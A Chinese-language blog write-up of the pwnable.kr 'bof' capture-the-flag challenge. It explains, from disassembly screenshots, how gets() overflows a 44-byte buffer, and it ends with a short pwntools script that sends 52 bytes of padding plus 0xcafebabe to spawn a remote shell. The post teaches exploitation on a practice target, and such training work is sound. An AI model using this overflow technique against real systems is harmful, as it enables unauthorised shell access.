美文网首页
pwnable.kr bof

pwnable.kr bof

作者: chenmuxin | 来源:发表于2018-12-05 12:25 被阅读0次

    思路

    -检查main函数调用了什么

    main.png

    -func函数实现了什么功能


    func.png func汇编.png

    -如何使key==0xcafebabe,调用system(“/bin/sh”)

    做法

    -看到调用了gets,使用命令man查看gets函数定义,可知gets是读取一整行的字符直到结束换行


    man gets.png

    -看到字符s(即数组overflows)的大小为-2CH,因此我们的目的是将44(2C)填满,并且让我们的key也被覆盖,改变为0xcafebabe。
    -由汇编的比较我们知道是arg_0与cafebabe比较


    cmp.png
    -我们可以知道arg_0的位置在+0x8

    -因此总的覆盖范围应该从-2CH到+08H,一共52个字节

    from pwn import*
    
    pwn= remote("pwnable.kr",9000)
    
    junk="a"*0x2c + "a"*0x4 + "b"*0x4
    junk+=p32(0xcafebabe)
    
    pwn.sendline(junk)
    pwn.interactive()
    

    相关文章

      网友评论

          本文标题:pwnable.kr bof

          本文链接:https://www.haomeiwen.com/subject/bbcifqtx.html